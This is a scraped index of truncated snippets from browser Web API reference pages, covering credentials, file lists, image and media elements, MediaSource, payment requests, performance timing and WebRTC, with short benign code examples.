n about credentials from a federated identity provider. a federated identity provider is an entity that a website trusts to correctly authenticate a user, and that provides an api for that purpose. openid connect is an example of a federated identity provider framework. in browsers that support it, an instance of this interface may be passed in the credential member of the init object for global fetch. constructor federatedcredential() creates a new federatedcredential object. properties inherits properties from its ancestor, credential. federatedcredential.provider read only returns a usvstring containing a credential's federated identity provider. federatedcredential.protocol read only returns a domstring containing a credential's federated identity protocol. event handlers...
FileList - Web APIs
Web › API › FileList
ly one file. starting with gecko 1.9.2, if the input element's multiple attribute is true, the filelist may contain multiple files. using the file list all <input> element nodes have a files attribute of type filelist on them which allows access to the items in this list. for example, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first file in the node's file list as a file object: var file = document.getelementbyid('fileitem').files[0]; method overview file item(index); properties attribute type description length integer a read-only value indicating the number of files in the list. methods item() returns a file object representing the file at the specifie...
FileSystemDirectoryEntry.createReader() - Web APIs
oryentry interface's method createreader() returns a filesystemdirectoryreader object which can be used to read the entries in the directory. syntax directoryreader = filesystemdirectoryentry.createreader(); parameters none. return value a filesystemdirectoryreader object which can be used to read the directory's entries. example this example creates a method called readdirectory(), which fetches all of the entries in the specified filesystemdirectoryentry and returns them in an array. function readdirectory(directory) { let dirreader = directory.createreader(); let entries = []; let getentries = function() { dirreader.readentries(function(results) { if (results.length) { entries = entries.concat(toarray(results)); getentries(); } }, function(...
HTMLAnchorElement.referrerPolicy - Web APIs
syntax refstr = anchorelt.referrerpolicy; anchorelt.referrerpolicy = refstr; values "no-referrer" meaning that the referer: http header will not be sent. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port. "unsafe-url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). ...
HTMLAreaElement.referrerPolicy - Web APIs
syntax refstr = areaelt.referrerpolicy; areaelt.referrerpolicy = refstr; values "no-referrer" meaning that the referer: http header will not be sent. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port. "unsafe-url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). ...
HTMLAreaElement - Web APIs
erenced url. htmlhyperlinkelementutils.port is a usvstring containing the port component, if any, of the referenced url. htmlhyperlinkelementutils.protocol is a usvstring containing the protocol component (including trailing colon ':'), of the referenced url. htmlareaelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use when fetching the linked resource. htmlareaelement.rel is a domstring that reflects the rel html attribute, indicating relationships of the current document to the linked resource. htmlareaelement.rellist read only returns a domtokenlist that reflects the rel html attribute, indicating relationships of the current document to the linked resource, as a list of tokens. htmlhyperlinkelementutils.search ...
HTMLElement - Web APIs
tem value. htmlelement.lang is a domstring representing the language of an element's attributes, text, and element contents. htmlelement.nomodule is a boolean indicating whether an import script can be executed in user agents that support module scripts. htmlorforeignelement.nonce returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed. htmlelement.offsetheight read only returns a double containing the height of an element, relative to the layout. htmlelement.offsetleft read only returns a double, the distance from this element's left border to its offsetparent's left border. htmlelement.offsetparent read only returns a element that is the element from which all offset calculations are cur...
HTMLIFrameElement.src - Web APIs
the htmliframeelement.src property reflects the html referrerpolicy attribute of the <iframe> element defining which referrer is sent when fetching the resource. syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browse...
HTMLIFrameElement - Web APIs
lects the name html attribute, containing a name by which to refer to the frame. htmliframeelement.featurepolicy read only returns the featurepolicy interface which provides a simple api for introspecting the feature policies applied to a specific document. htmliframeelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use when fetching the linked resource. htmliframeelement.sandbox is a domsettabletokenlist that reflects the sandbox html attribute, indicating extra restrictions on the behavior of the nested content. htmliframeelement.scrolling is a domstring that indicates whether the browser should provide scrollbars for the frame. htmliframeelement.src is a domstring that reflects the src html attribute, containing...
HTMLImageElement.complete - Web APIs
htmlimageelement.complete; value a boolean value which is true if the image has completely loaded; otherwise, the value is false. the image is considered completely loaded if any of the following are true: neither the src nor the srcset attribute is specified. the srcset attribute is absent and the src attribute, while specified, is the empty string (""). the image resource has been fully fetched and has been queued for rendering/compositing. the image element has previously determined that the image is fully available and ready for use. the image is "broken;" that is, the image failed to load due to an error or because image loading is disabled. it's worth noting that due to the image potentially being received asynchronously, the value of complete may change while your script is r...
HTMLImageElement.isMap - Web APIs
value which is true if the image is being used for a server-side image map; otherwise, the value is false. usage notes when an image marked as being part of a server-side image map is clicked, the browser constructs the string "?x,y", where x and y indicate the coordinates at which the mouse was clicked as offsets from the top-left corner of the image, specified in css pixels. the browser then fetches that url from the server and displays or downloads it depending on the value of the download attribute. unlike server-side image maps, client-side image maps don't cause the <img> element to adopt interactive content mode. specifications specification status comment html living standardthe definition of 'htmlimageelement.ismap' in that specification. living sta...
HTMLImageElement.loading - Web APIs
e needed imminently. for instance, if the user is scrolling through the document, a value of lazy will cause the image to only be loaded shortly before it will appear in the window's visual viewport. usage notes timing of the load event the load event is fired when the document has been fully processed. when images are loaded eagerly (which is the default), every image in the document must be fetched before the load event can fire. by specifying the value lazy for loading, you prevent the image from delaying the load attribute by the amount of time it takes to request, fetch, and process the image. images whose loading attribute is set to lazy but are located within the visual viewport immediately upon initial page load are loaded as soon as the layout is known, but their loads do not del...
HTMLImageElement.srcset - Web APIs
lue to tell the browser to wrap the string within the width available regardless of where in the string the wrap must occur. .box { width: 200px; border: 2px solid rgba(150, 150, 150, 255); padding: 0.5em; word-break: break-all; } .box img { width: 200px; } javascript the following code is run within a handler for the window's load event. it uses the image's currentsrc property to fetch and display the url selected by the browser from the srcset. let box = document.queryselector(".box"); let image = box.queryselector("img"); let newelem = document.createelement("p"); newelem.innerhtml = `image: <code>${image.currentsrc}</code>`; box.appendchild(newelem); result in the displayed output below, the selected url will correspond with whether your display results in selecting the...
HTMLImageElement.x - Web APIs
their avatar image. <table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below. let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows pro...
HTMLImageElement.y - Web APIs
their avatar image. <table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below. let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows pro...
HTMLLinkElement.as - Web APIs
syntax var as = htmllinkelement.as htmllinkelement.as = as value a domstring. specifications specification status comment preloadthe definition of 'as' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
HTMLLinkElement.referrerPolicy - Web APIs
see the http referrer-policy header for details. ...
HTMLMediaElement.load() - Web APIs
the htmlmediaelement method load() resets the media element to its initial state and begins the process of selecting a media source and loading the media in preparation for playback to begin at the beginning. the amount of media data that is prefetched is determined by the value of the element's preload attribute. this method is generally only useful when you've made dynamic changes to the set of sources available for the media element, either by changing the element's src attribute or by adding or removing <source> elements nested within the media element itself. load() will reset the element and rescan the available sources, thereby causing the changes to take effect. syntax mediaelement.load(); parameters none. return value undefined. usage notes calling load() aborts all ongoing o...
HTMLMediaElement.networkState - Web APIs
syntax var networkstate = audioorvideo.networkstate; value an unsigned short. possible values are: constant value description network_empty 0 there is no data yet. also, readystate is have_nothing. network_idle 1 htmlmediaelement is active and has selected a resource, but is not using the network. network_loading 2 the browser is downloading htmlmediaelement data. network_no_source 3 no htmlmediaelement src found. ...
HTMLOrForeignElement.nonce - Web APIs
in later implementations, elements only expose their nonce attribute to scripts (and not to side-channels like css attribute selectors). ...
HTMLOrForeignElement - Web APIs
bject of type htmlorforeignelement. propertiesdataset read only the dataset read-only property of the htmlorforeignelement interface provides read/write access to all the custom data attributes (data-*) set on the element.nonce the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed.tabindexthe tabindex property of the htmlorforeignelement interface represents the tab order of the current element.methodsblur()the htmlelement.blur() method removes keyboard focus from the current element.focus()the htmlelement.focus() method sets focus on the specified element, if it can be focused. the focused element is the element which will receive keyboard and s...
HTMLScriptElement.referrerPolicy - Web APIs
syntax refstr = scriptelem.referrerpolicy; scriptelem.referrerpolicy = refstr; value a domstring; one of the following: no-referrer the referer header will be omitted entirely. no referrer information is sent along with requests. no-referrer-when-downgrade (default) this is the user agent's default behavior if no policy is specified. ...
Headers() - Web APIs
Web › API › Headers › Headers
living standard ...
Headers.append() - Web APIs
Web › API › Headers › append
living standard ...
Headers.delete() - Web APIs
Web › API › Headers › delete
living standard ...
Headers.get() - Web APIs
Web › API › Headers › get
living standard ...
Headers.getAll() - Web APIs
Web › API › Headers › getAll
obsolete since gecko 52 (firefox 52 / thunderbird 52 / seamonkey 2.49)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the getall() method of the headers interface used to return an array of all the values of a header within a headers object with a given name; in newer versions of the fetch spec, it has been deleted, and headers.get() has been updated to fetch all header values instead of only the first one. if the requested header doesn't exist in the headers object, it returns an empty array. for security reasons, some headers can only be controller by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.getall...
Headers.has() - Web APIs
Web › API › Headers › has
living standard ...
Headers.set() - Web APIs
Web › API › Headers › set
living standard ...
Checking when a deadline is due - Web APIs
current date and time by creating a blank date object. easy huh? it's about to get a bit more complex. var minutecheck = now.getminutes(); var hourcheck = now.gethours(); var daycheck = now.getdate(); var monthcheck = now.getmonth(); var yearcheck = now.getfullyear(); the date object has a number of methods to extract various parts of the date and time inside it. ...
MediaDevices.ondevicechange - Web APIs
": " + err.message)); }, false); we set up global variables that contain references to the <ul> elements that are used to list the audio and video devices: let audiolist = document.getelementbyid("audiolist"); let videolist = document.getelementbyid("videolist"); getting and drawing the device list now let's take a look at updatedevicelist() itself. this method is called any time we want to fetch the current list of media devices and then update the displayed lists of audo and video devices using that information. function updatedevicelist() { navigator.mediadevices.enumeratedevices() .then(function(devices) { audiolist.innerhtml = ""; videolist.innerhtml = ""; devices.foreach(function(device) { let elem = document.createelement("li"); let [kind, type, direct...
MediaError.code - Web APIs
Web › API › MediaError › code
a media element. to get a text string with specific diagnostic information, see mediaerror.message. syntax var myerror = mediaerror.code; value a numeric value indicating the general type of error which occurred. the possible values are described below, in media error code constants. media error code constants name value description media_err_aborted 1 the fetching of the associated resource was aborted by the user's request. media_err_network 2 some kind of network error occurred which prevented the media from being successfully fetched, despite having previously been available. media_err_decode 3 despite having previously been determined to be usable, an error occurred while trying to decode the media resource, resulting i...
MediaError.message - Web APIs
ceived by an event handler we add to the <audio> element itself. ...
MediaError - Web APIs
ribes the error in general terms using a numeric code categorizing the kind of error, and a message, which provides specific diagnostics about what went wrong. properties this interface doesn't inherit any properties. mediaerror.code a number which represents the general type of error that occurred, as follows: name value description media_err_aborted 1 the fetching of the associated resource was aborted by the user's request. media_err_network 2 some kind of network error occurred which prevented the media from being successfully fetched, despite having previously been available. media_err_decode 3 despite having previously been determined to be usable, an error occurred while trying to decode the media resource, resulting i...
MediaImage - Web APIs
sizes specifies the resource in multiple sizes so that user agent does not have to scale a single image. ...
MediaSource.activeSourceBuffers - Web APIs
fferlist containing the sourcebuffer objects for each of the active tracks. ...
MediaSource.addSourceBuffer() - Web APIs
iasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'addsourcebuffer()' in that specifica...
MediaSource.duration - Web APIs
re being updated (i.e. their sourcebuffer.updating property is true.) example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); mediasource.duration = 120; video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ... specifications specification status comment media source extensionsthe definition o...
MediaSource.isTypeSupported() - Web APIs
iasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'istypesupported()' in that specifica...
MediaSource.readyState - Web APIs
...
MediaSource.sourceBuffers - Web APIs
ar mysourcebuffers = mediasource.sourcebuffers; value a sourcebufferlist. example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.sourcebuffers); // will contain the source buffer that was added above video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ... specifications specification ...
MediaSource - Web APIs
source(); //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.
MediaStreamTrack.getSettings() - Web APIs
rk with constrainable properties. syntax const settings = track.getsettings() returns a mediatracksettings object describing the current configuration of the track's constrainable properties. note: the returned object identifies the current values of every constrainable property, including those which are platform defaults rather than having been expressly set by the site's code. to instead fetch the most-recently established constraints for the track's properties, as specified by the site's code, use getconstraints(). specifications specification status comment media capture and streamsthe definition of 'getsettings()' in that specification. candidate recommendation initial definition. ...
MerchantValidationEvent.complete() - Web APIs
the merchantvalidationevent method complete() takes merchant-specific information previously received from the validationurl and uses it to validate the merchant. all you have to do is call complete() from your handler for the merchantvalidation event, passing in the data fetched from the validationurl. syntax merchantvalidationevent.complete(validationdata); merchantvalidationevent.complete(merchantsessionpromise); parameters validationdata or merchantsessionpromise an object containing the data needed to complete the merchant validation process, or a promise which resolves to the validation data. return value undefined. exceptions this exception may be passed into the rejection handler for the promise: invalidstateerror the event did not come directly from the user agent, ...
MerchantValidationEvent.validationURL - Web APIs
this data should be passed into the complete() method to let the user agent complete the transaction. syntax validationurl = merchantvalidationevent.validationurl; value a read-only usvstring giving the url from which to load payment handler specific data needed to complete the merchant verification process. once this has been loaded, it should be passed into complete(), either directly or using a promise. ...
MerchantValidationEvent - Web APIs
providing a unique payment method identifier for the payment handler that's requiring validation. this may be either one of the standard payment method identifier strings or a url that both identifies and handles requests for the payment handler, such as https://apple.com/apple-pay. merchantvalidationevent.validationurl secure context a usvstring specifying a url from which the site or app can fetch payment handler specific validation information. once this data is retrieved, the data (or a promise resolving to the validation data) should be passed into complete() to validate that the payment request is coming from an authorized merchant. methods merchantvalidationevent.complete() secure context pass the data retrieved from the url specified by validationurl into complete() to complete...
Navigator.getBattery() - Web APIs
ext. note: old versions of some user agents might allow use of this feature in insecure contexts. notallowederror note: no user agent currently throws this exception, but the specification describes the following behaviors: this document is not allowed to use this feature. for example, it might not be explicitly allowed or restricted via feature-policy battery feature. example this example fetches the current charging state of the battery and establishes a handler for the chargingchange event, so that the charging state is recorded whenever it changes. let batteryischarging = false; navigator.getbattery().then(function(battery) { batteryischarging = battery.charging; battery.addeventlistener('chargingchange', function() { batteryischarging = battery.charging; }); }); for mo...
NodeList.item() - Web APIs
Web › API › NodeList › item
e from a nodelist by index. this method doesn't throw exceptions as long as you provide arguments. a value of null is returned if the index is out of range, and a typeerror is thrown if no argument is provided. syntax nodeitem = nodelist.item(index) nodelist is a nodelist. this is usually obtained from another dom property or method, such as childnodes. index is the index of the node to be fetched. the index is zero-based. nodeitem is the indexth node in the nodelist returned by the item method. alternate syntax javascript also offers an array-like bracketed syntax for obtaining an item from a nodelist by index: nodeitem = nodelist[index] example var tables = document.getelementsbytagname("table"); var firsttable = tables.item(1); // or simply tables[1] - returns the second table...
PasswordCredential - Web APIs
syntax var mycredential = new passwordcredential(passwordcredentialdata) var mycredential = new passwordcredential(htmlformelement) parameters either of the following: passwordcredentialdata a passwordcredentialdata dictionary containing the following fields: iconurl: (optional) the url of a user's avatar image. id: the id of the user signing in. name: (optional) the name of the user signing in. ...
PasswordCredential.idName - Web APIs
the idname property of the passwordcredential interface returns a usvstring, representing the name that will be used for the id field, when submitting the current object to a remote endpoint via fetch. this property defaults to 'username', but may be set to match whatever your backend service expects. syntax var idname = passwordcredential.idname passwordcredential.idname = "userid" value a usvstring represents the name used for the id field, when submitting the current object to a remote endpoint via fetch. example // tbd specifications specification status comment credential management level 1 working draft initial definition. ...
PasswordCredential.passwordName - Web APIs
the passwordname property of the passwordcredential interface returns a usvstring, depicting the name used by the password field, when submitting the current object to a remote endpoint via fetch. this property defaults to 'password', but may be matched to anything your backend service expects. syntax var passwordname = passwordcredential.passwordname passwordcredential.passwordname = "passcode" value a usvstring representing the password field name, used when submitting the current object to a remote endpoint via fetch. example // tbd specifications specification status comment credential management level 1 working draft initial definition. ...
PaymentAddress - Web APIs
ected: true, }, ], }; const options = { requestshipping: true }; async function dopaymentrequest() { const request = new paymentrequest(supportedinstruments, details, options); // add event listeners here. // call show() to trigger the browser's payment flow. const response = await request.show(); // process payment. ...
PaymentRequest.onmerchantvalidation - Web APIs
lowed to use this payment handler. examples an example merchant validation handler for the paymentrequest object request looks like this: request.onmerchantvalidation = ev => { ev.complete(async () => { const merchantserverurl = window.location.origin + '/validation?url=' + encodeuricomponent(ev.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(r => r.text()); }) }; const response = await request.show(); for more information, see merchant validation in payment processing concepts. specifications specification status comment payment request apithe definition of 'onmerchantvalidation' in that specification. candidate recommendation initial definition. ...
PaymentResponse.onpayerdetailchange - Web APIs
candidate recommendation initia...
PaymentResponse: payerdetailchange event - Web APIs
} specificati...
Performance.navigation - Web APIs
this property is deprecated in the navigation timing level 2 specification. the legacy performance.navigation read-only property returns a performancenavigation object representing the type of navigation that occurs in the given browsing context, such as the number of redirections needed to fetch the resource. this property is not available in workers. syntax navobject = performance.navigation; specifications specification status comment navigation timingthe definition of 'performance.navigation' in that specification. recommendation initial definition. ...
PerformanceEntry.startTime - Web APIs
ntry's type: "frame" - returns the timestamp when the frame was started. "mark" - returns the timestamp when the mark was created by a call to performance.mark(). "measure" - returns the timestamp when the measure was created by a call to performance.measure(). "navigation" - returns the timestamp with a value of "0". "resource" - returns the timestamp immediately before the browser starts fetching the resource. this property is read only . syntax entry.starttime; return value a domhighrestimestamp representing the first timestamp when the performance entry was created. note: if the performance entry has an entrytype of "resource" (i.e. the entry is a performanceresourcetiming object), this property returns the performanceentry.fetchstart timestamp. example the following example...
PerformanceEventTiming - Web APIs
; document.addeventlistener('visibilitychange', (event) => { firsthiddentime = math.min(firsthiddentime, event.timestamp); }, {once: true}); // sends the passed data to an analytics endpoint. this code // uses `/analytics`; you can replace it with your own url. function sendtoanalytics(data) { const body = json.stringify(data); // use `navigator.sendbeacon()` if available, falling back to `fetch()`. (navigator.sendbeacon && navigator.sendbeacon('/analytics', body)) || fetch('/analytics', {body, method: 'post', keepalive: true}); } // use a try/catch instead of feature detecting `first-input` // support, since some browsers throw when using the new `type` option. // https://bugs.webkit.org/show_bug.cgi?id=209216 try { function onfirstinputentry(entry) { // only report fid i...
PerformanceResourceTiming.connectEnd - Web APIs
" + properti...
PerformanceResourceTiming.connectStart - Web APIs
" + properti...
PerformanceResourceTiming.domainLookupEnd - Web APIs
" + properti...
PerformanceResourceTiming.domainLookupStart - Web APIs
" + properti...
PerformanceResourceTiming.requestStart - Web APIs
" + properti...
PerformanceResourceTiming.responseEnd - Web APIs
" + properti...
PerformanceResourceTiming.responseStart - Web APIs
" + properti...
PerformanceTiming.connectEnd - Web APIs
ancetiming.connectend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the connection is opened network. if the transport layer reports an error and the connection establishment is started again, the last connection establisment end time is given. if a persistent connection is used, the value will be the same as performancetiming.fetchstart. a connection is considered as opened when all secure connection handshake, or socks authentication, is terminated. syntax time = performancetiming.connectend; specifications specification status comment navigation timingthe definition of 'performancetiming.connectend' in that specification. recommendation initial definition. ...
PerformanceTiming.connectStart - Web APIs
d-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the request to open a connection is sent to the network. if the transport layer reports an error and the connection establishment is started again, the last connection establisment start time is given. if a persistent connection is used, the value will be the same as performancetiming.fetchstart. syntax time = performancetiming.connectstart; specifications specification status comment navigation timingthe definition of 'performancetiming.connectstart' in that specification. recommendation initial definition. ...
PerformanceTiming.domainLookupEnd - Web APIs
ease use the performancenavigationtiming interface instead. the legacy performancetiming.domainlookupend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the domain lookup is finished. if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart. syntax time = performancetiming.domainlookupend; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookupend' in that specification. recommendation initial definition. ...
PerformanceTiming.domainLookupStart - Web APIs
please use the performancenavigationtiming interface instead. the legacy performancetiming.domainlookupstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the domain lookup starts. if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart. syntax time = performancetiming.domainlookupstart; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookupstart' in that specification. recommendation initial definition. ...
PerformanceTiming.navigationStart - Web APIs
se use the performancenavigationtiming interface instead. the legacy performancetiming.navigationstart read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after the prompt for unload terminates on the previous document in the same browsing context. if there is no previous document, this value will be the same as performancetiming.fetchstart. syntax time = performancetiming.navigationstart; specifications specification status comment navigation timingthe definition of 'performancetiming.navigationstart' in that specification. recommendation initial definition. ...
PublicKeyCredential.getClientExtensionResults() - Web APIs
getclientextensionresults() is a method of the publickeycredential interface that returns an arraybuffer which contains a map between the extensions identifiers and their results after having being processed by the client. during the creation or fetching of a publickeycredential (respectively via navigator.credentials.create() and navigator.credentials.get()), it is possible to have "custom" processing by the client for different extensions which are respectively given by publickeycredentialcreationoptions.extensions and publickeycredentialrequestoptions.extensions. note: extensions are optional and different browsers may recognize different extensions. all extensions are optional for the client to process them: if a browser does not know of a given extension, that will not cause ...
PublicKeyCredential - Web APIs
var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { ...
PublicKeyCredentialCreationOptions.extensions - Web APIs
publickeycredentialcreationoptions dictionary, is an object providing the client extensions and their input values. extensions are values requesting additional processing by the client and by the authenticator. for instance, extensions may be used for: backward compatibility with the legacy fido js api, knowing the user verification process, etc. note: an analogous option exists for the fetching operation (navigators.credentials.get()), see publickeycredentialrequestoptions.extensions. syntax extensions = publickeycredentialcreationoptions.extensions value an object with various keys and values. here is the current (as of march 2019) list of potential extensions which may be used during the registration operation. warning! as of june 2020, only appid (used during creation with...
PublicKeyCredentialCreationOptions.timeout - Web APIs
the timeout property, of the publickeycredentialcreationoptions dictionary, represents an hint, given in milliseconds, for the time the script is willing to wait for the completion of the creation operation. this property is optional and merely is a hint which may be overridden by the browser. note: an analogous option exists for the fetching operation (navigators.credentials.get()), see publickeycredentialrequestoptions.timeout. syntax timeout = publickeycredentialcreationoptions.timeout value a numerical hint, expressed in milliseconds, giving the time to wait for the creation operation to complete. examples var publickey = { timeout: 6000, // accepting to wait for a minute before giving up. challenge: new uint8array(26) /* this actually is given from the server */, rp: { ...
PublicKeyCredentialCreationOptions.user - Web APIs
not intended to store the login of the user (see name below). icon optional an url as a usvstring value which points to an image resource which can be the avatar image for the user. id a buffersource uniquely identifying a given user. this an opaque identifier which can be used by the authenticator to link the user account with its corresponding credentials. this value will later be used when fetching the credentials in authenticatorassertionresponse.userhandle. name a domstring giving a human-readable name for the user's identifier (e.g. "jdoe@example.com").this property is intended for display and may be use to distinguish different account with the same displayname. examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { n...
PublicKeyCredentialRequestOptions.timeout - Web APIs
ion (navigators.credentials.create()), see publickeycredentialcreationoptions.timeout. syntax timeout = publickeycredentialrequestoptions.timeout value a numerical hint, expressed in milliseconds, giving the time to wait for the creation operation to complete. ...
PublicKeyCredentialRequestOptions - Web APIs
properties publickeycredentialrequestoptions.challenge a buffersource, emitted by the relying party's server and used as a cryptographic challenge. this value will be signed by the authenticator and the signature will be sent back as part of authenticatorassertionresponse.signature. ...
PushMessageData - Web APIs
messages received through the push api are sent encrypted by push services and then automatically decrypted by browsers before they are made accessible through the methods of the pushmessagedata interface. properties none. methods pushmessagedata.arraybuffer() extracts the data as an arraybuffer object. ...
RTCConfiguration - Web APIs
successfully connecting in some circumstances. see using certificates below for additional information. this configuration option cannot be changed after it is first specified; once the certificates have been set, this property is ignored in future calls to rtcpeerconnection.setconfiguration(). icecandidatepoolsize optional an unsigned 16-bit integer value which specifies the size of the prefetched ice candidate pool. the default value is 0 (meaning no candidate prefetching will occur). you may find in some cases that connections can be established more quickly by allowing the ice agent to start fetching ice candidates before you start trying to connect, so that they're already available for inspection when rtcpeerconnection.setlocaldescription() is called. changing the size of the ice c...
RTCDataChannel.onbufferedamountlow - Web APIs
data channels to learn more about how to work with the data channel buffer. syntax rtcdatachannel.onbufferedamountlow = function; value a function which the browser will call to handle the bufferedamountlow event. this function receives as its only input parameter a simple event object representing the event which has occurred. example this example responds to the bufferedamountlow event by fetching up to 64kb of a file represented by an object source and calling rtcdatachannel.send() to queue up the retrieved data for sending on the data channel. pc = new rtcpeerconnection(); dc = pc.createdatachannel("sendfile"); /* ... */ dc.onbufferedamountlow = function() { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification ...
RTCIceCandidate.port - Web APIs
will fail, throwing an operationerror exception. this applies only if the candidate implements port. usage notes consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the port number is found in the sixth field, which is "44323". in this case, the value of port will be 44323. example this code snippet fetches the ip address and port number of the candidate, storing them into an object for future use. var candidateloc = { address: candidate.ip, port: candidate.port } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.port' in that specification. candidate recommendation initial defini...
RTCPeerConnection() - Web APIs
successfully connecting in some circumstances. see using certificates below for additional information. this configuration option cannot be changed after it is first specified; once the certificates have been set, this property is ignored in future calls to rtcpeerconnection.setconfiguration(). icecandidatepoolsize optional an unsigned 16-bit integer value which specifies the size of the prefetched ice candidate pool. the default value is 0 (meaning no candidate prefetching will occur). you may find in some cases that connections can be established more quickly by allowing the ice agent to start fetching ice candidates before you start trying to connect, so that they're already available for inspection when rtcpeerconnection.setlocaldescription() is called. changing the size of the ice c...
RTCPeerConnection.getConfiguration() - Web APIs
if it's determined that there are no certificates in place, rtcpeerconnection.generatecertificate() is called to create a new certificate; we provide a fulfillment handler which a...
RTCRtpReceiver.getCapabilities() static function - Web APIs
ion, this is always called using the form: capabilities = rtcrtpreceiver.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list. it is entirely possible that certain combinations of options may fail to work when you actually try to use them. calling rtcrtpreceiver.getcapabilities() doesn't prime the browser in any way to handle media. nothing is loaded, fetched, or otherwise prepared. it's simply a means of determining what might be usable before starting to try to access media. because the set of capabilities available tend to be stable for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin method for identifying a user. for that reason, in priva...
